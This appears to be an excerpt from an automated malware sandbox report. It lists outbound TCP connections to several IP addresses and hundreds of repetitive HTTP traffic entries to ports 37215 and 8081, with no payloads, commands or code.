Source: global traffic	TCP traffic: 66.227.30.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.94.235.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.226.72.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.121.126.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.147.150.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.176.127.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.74.218.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.13.46 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45724 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54846 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39450 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57388 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46898 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41670 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44752 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39708 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47030 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50856 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42124 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42998 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49602 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43378 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44222 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33258 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34088 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54558 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58006 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33716 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43542 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47820 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43298 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53926 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32776 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45522 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45024 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43064 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57126 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40644 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40754 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33230 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55174 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60962 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45668 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36132 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46070 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33926 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40438 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41006 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45352 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38844 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53648 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 37215
